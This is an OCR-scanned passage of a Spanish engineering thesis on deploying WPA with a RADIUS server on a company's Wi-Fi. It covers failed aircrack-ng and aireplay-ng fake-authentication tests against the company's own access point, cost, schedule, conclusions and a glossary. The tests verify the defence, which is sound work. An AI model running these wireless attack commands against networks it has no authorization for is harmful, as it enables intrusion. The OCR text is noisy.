Transient Key : FB 35 31 1E 95 4E 1E 39 6E Al 8B E8 Fa AC DD 42
S92 44 FC 3D 12 8D E9 BB DD F6 92 6A S3 18 F2 21
43 SE BA 38 49 CE 63 D9 C6 F2 11 17 13 3E F8 24

1E 96 92 E9 72 34 72 FS 2D 8BA A5 CB 9E 64 96 DC

EAPOL BHAC : FC F8 38 FD 84 8F EO BO S2 CO 37 E1 68 F8 18 22

IPassphrase not 1in dictionary

Figura 4.22 Prueba fallida de comando aircrack-ng
Si se ejecuta el ataque de autenticacion falsa, no funciona y ni siquiera retorna valor
alguno (Ver Figura 4.23).
# aireplay-ng -1 0 —e luzdelsur —a 00:0E:8E:7A:24:05 —h 00:24:2B:9C:F1:2A mon0

rootlbr: # aireplay-ng -1 O -e luzdelsur -a O0:0E:8E:7A:24:05
-h 00:249:2B:9C:F1:2A mon0
20:58:32 Wairing for beacon frame (BSSID: OO:0E:8E:7A:24:05) on channel 11

20:58:32 Sencding Authentication Request (Open System) [ACK]

20:556:34 Sencling Authentication Request (Open System) [ACK)

20:58:36 Sencding Authentication Recuest (Open System) [ACEK)

Figura 4.22 Prueba fallida de autenticacién falsa

4.2 Costo del proyecto

Dado que el presente proyecto utilizé y aplico los recursos de “hardware” y “software”
disponibles por la empresa, este no representé gasto en su implementacién. No se
hicieron compras y toda la ejecucion se realizé en coordinacién con el administrador de la
red de la empresa. Se debe tomar en cuenta lo siguiente:
1. la actualizacién del “firmware” de los equipos era gratuito por parte del fabricante.
2. no se requirieron licencias en la implementacion, es una de las razones por las cuales
no se usaron certificados.
4.3 Cronograma de ejecucion del proyecto

La Tabla 4.1 describe el tiempo de ejecucion de las distintas tareas del proyecto las

cuales se agrupan en tres etapas: 1) Investigacion; 2) Implementacién y 3) Pruebas
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Tabla 4.1 Ejecucion del proyecto

NOMBRE DE TAREA Dias | Inicio |Fin ]
Etapa de investigacion
Busqueda de alternativas de seguridad 32 |04/02/09 | 19/03/09
Eleccién de solucion para los requerimientos de la
empresa 14 |20/03/09 | 08/04/09
Etapa de implementacion
Cambio de “firmware” de los puntos de acceso 2 | 09/04/09 | 10/04/09
Distribucion de puntos de acceso en la empresa 7 | 13/04/09 | 21/04/09
Implementacion de Servicio IAS como servidor
RADIUS 1 22/04/09 | 22/04/09
Creacion de Politica de acceso remoto 1 23/04/09 | 23/04/09
Creacién de grupos en el Directorio Activo y de Politica 1 24/04/09 | 24/04/09
de Grupo
Etapa de pruebas
Uso de computadoras méviles inalambricas de dominio 14 | 27/04/00 | 14/05/09
para autenticarse con RADIUS
Correccion de problemas 8 15/05/09 | 26/05/09

Total
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CONCLUSIONES Y RECOMENDACIONES

Conclusiones

1. La clave WEP se puede hallar con métodos iterativos mientras que para WPA se
necesita usar métodos de fuerza bruta. El uso de WPA con RADIUS incrementa el control
de acceso como la seguridad de la informacion encriptada que transita por la red

inalambrica de la empresa.

2. El cliente inalambrico tiene que proveer el usuario y contrasenas correctas o la cuenta
sera bloqueada después de algunos intentos, por politica propia del directorio activo. El
sistema RADIUS provee un medio que cambia las claves de encriptacion dinamicamente

via EAP, por lo que no es posible obtener una clave estatica.

3. Al momento de aplicar la Politica de Acceso Remoto, la conexién automatica con las
credenciales de usuario se procesaba al inicio de sesién, con lo que la conexion se
iniciaba después del encendido del cliente evitando la ejecucién de algunas politicas de
computadora.

Para evitar esto, se colocaron también en el grupo definido para los usuarios
habilitados de conectarse a la red corporativa mediante la autenticacién del servidor
RADIUS, a las computadoras desde donde se conectan dichos usuarios, habilitando la
conexion correspondiente. Se podria entender como habilitando la autenticacién de

computadora sin la verificacion de un certificado.

4. Aproximadamente a los cuatro meses después de |la implementacion, el servidor con el
controlador de dominio que contenia el servicio IAS fall6 por problemas de disco, y
durante el tiempo que duroé la reposicion del servicio (tres dias) los usuarios no se podian
conectar por via inalambrica.

La conexion se tuvo que hacer de forma alambrica (por cable de red), lo que
constituyé un problema para los usuarios finales que se conectaban por la red
inalambrica de manera habitual. Actualmente el servicio de autenticacién y autorizaciéon o
servidor RADIUS, se encuentra habilitado en un servidor con sistema operativo Windows
2003 con resiliencia a fallas y ya no en el controlador de dominio como se propuso en el
proyecto.

3. En ciertas circunstancias, la sefal inalambrica de los puntos de acceso cubria las
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areas para el acceso de las computadoras moviles, sin embargo, la potencia era débil
para la continuidad de conexion y se presentaba incluso cuando una persona interferia en
el rango de conexion entre el punto de acceso con el cliente inalambrico, lo que
terminaba en desconexiones continuas que se manifestaban en molestias para los
usuarios.

Por lo expuesto, se propuso cambiar los puntos de acceso, que en algunos casos ya
eran modelos descontinuados, por unos nuevos y de mayor alcance en cobertura, mas se
me indicé que la preocupacion radicaba en los usuarios de la gerencia general y del
directorio asi que se buscé un proyecto adicional para implementar un sistema inteligente
de autenticacion inalambrica en plataforma Cisco solamente para el piso de la Gerencia
General de la empresa en la sede de San Isidro.

Recomendaciones

1. Se deberia tener dos servidores RADIUS, uno primario y otro secundario, para
mantener uno en cada controlador de dominio, y de esta manera, asegurar que las
solicitudes de acceso a la red continuen con servicio si uno de los servidores RADIUS se
encuentre no disponible.
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AAA

BDC
CHAP

CRC
DHCP
DNS
DoS
EAP
EAPOL

Firmware

GPMC
GPO
Hash

IAS
ICV
IEEE

LAN
LDAP

MAC

OTP
ou

PAE
PAP
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Autenticacién centralizada, autorizacion y contabilidad (authentication,
authorization, accounting)

Controladores de respaldo de dominio (Backup Domain Controllers).
Protocolo de autenticacion por desafio mutuo (Challenge Handshake
Authentication Protocol).

Comprobacién de redundancia ciclica

Protocolo de Configuracién Dinamica de Cliente

Sistema de Nombres de Dominio (Domain Name System)

Denegacién de servicio (Denial of service)

Protocolo de Autenticacién Extensible

Protocolo EAP sobre red de area local (EAP Over LAN)

Viene a ser la capa de abstraccion légica de mas bajo nivel que funciona
como interfaz entre las 6rdenes externas que recibe un dispositivo y su
electronica para controlar a ésta ultima.

Consola de Administracion de Politicas de Grupo

Objeto de Politica de Grupo (Group Policy Object)

En informatica, es una referencia a una forma de obtener una clave a partir de
cierta informacién que hace que la representacion final sea unica frente a
otras. Normalmente se usa en el cifrado de informacién.

Servicio de Autenticaciéon de Internet

Valor de chequeo de integridad (Integrity Check Value)

Instituto de Ingenieria Eléctrica y Electronica (Institute of Electrical and
Electronics Engineers)

Red de area local (Local Area Network)

Protocolo Ligero de Acceso a Directorios (Lightweight Directory Access
Protocol).

Control de acceso al medio (Media Access Control- MAC). Identificador de 48
bits que pertenece a una tarjeta fisica, normalmente para red Ethernet, y es
una manera de identificacion unica del dispositivo al cual pertenece. Esta
determinada por el IEEE (los ultimos 24 bits) y el fabricante (los primeros 24
bits) utilizando el Identificador Unico Organizacional, este identificador unico,
identifica a cada empresa u organizacién a nivel mundial.

Contrasena de una vez (One-Time Password)

Unidades Organizativas (Organizational Units)

Entidad de Acceso de Puerto (Port Access Entity)

Protocolo de Autenticacion por Contrasefa (Password Authentication



PDC
PKI

PoE
PPP
QoS
RADIUS

RSN
RSoP
SSID

SOHO
SSL

TSN
VLAN

VPN
WAN
WLAN
WEP
WPA
TI
TLS
WDS
WMI

WiSoC
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Protocol). Sub-protocolo usado por la autenticacion del protocolo PPP,
validando a un usuario que accede a ciertos recursos, transmite contrasenas
en texto plano ASCII sin cifrar, por lo que se considera inseguro.

Controlador primario de dominio (Primary Domain Controller)

Infraestructura de clave publica

Alimentacion a través de Ethernet (Power Over Ethernet)

Protocolo punto a punto (Point-to-Point Protocol)

Calidad de servicio

Servicio de Autenticacion Remota de Usuario (Remote Authentication Dial-In
User Service).

Red de Seguridad Robusta (Robust Security Network).

Conjunto de Politicas Resultante (Resultant Set of Policy)

Service Set Identifier. Es simplemente un nombre de red que debe ser
especificado y compartido tanto por los puntos de acceso inalambricos y los
clientes, para asociarse.

Oficina Pequena-Oficina en casa (Small Office-Home Office)

Capa de Conexion Segura (Secure Socket Layer). Proporciona servicios de
seguridad cifrando los datos intercambiados entre el servidor y el cliente con
un algoritmo de cifrado simétrico.

Red transicional de seguridad (Transitional Security Network

Red de Area Local Virtual (Virtual Local Area Network). Habilita la creacion de
redes logicamente independientes dentro de una misma infraestructura fisica.
Red Privada Virtual (Virtual Private Network)

Red de area amplia (Wide Area Network)

Red de Area Local Inalambrica (Wireless Local Area Network)

Privacidad Equivalente a Cableado (Wired Equivalent Privacy)

Acceso Protegido Wi-Fi

Tecnologia de la Informacién

Seguridad de Capa de Transporte (Transport Layer Security)

Sistema de distribucién inalambrico (Wireless Distribution System)

Interfaz  de administracion de Windows (Windows Management
Instrumentation)

Sistema inalambrico en un “Chip”.
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